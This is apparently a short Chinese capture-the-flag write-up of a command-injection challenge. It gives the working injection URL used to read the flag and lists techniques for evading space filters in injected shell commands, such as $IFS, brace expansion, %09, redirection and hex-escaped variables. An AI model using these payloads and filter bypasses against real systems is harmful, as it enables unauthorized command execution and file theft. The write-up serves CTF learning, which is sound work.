这道题就是很迷,反正需要绕过很多符号,最后用了这个http://d2751aa8-0309-464e-87d6-2829eda800b1.node4.buuoj.cn:81/?ip=127.0.0.1||$a=ag.php;$b=fl;cat$IFS`ls`;
暴出来了。中间最主要的想法就是绕过空格,然后用了$IFS的方法。
$IFS是内部域分隔符,默认是空格、换行符等。可以进行修改,如下图所示:
绕过空格
其实我们可以用一些字符来代替空格,windows系统与linux系统有些差异。
Windows:
type.\flag.txt
type,flag.txt
echo,123456
linux:
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat$IFS$1flag.txt
cat<flag.txt
%09替换
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
这里还要纠正一个误区linux的``反引号,比如`echo cat flag`,这个会执行,得到结果是 cat flag 。这个cat flag如果你在命令行按了下回车,那么肯定就是输出了flag的内容了,而并不是将里面的东西执行两次,这一定要注意!就是把反引号里面的东西执行了作为输出罢了!!
后面测试发现下面这样也可以行。linux中$+数字 比如$1代表传给脚本的第一个参数,如果是在shell中直接执行的话是空。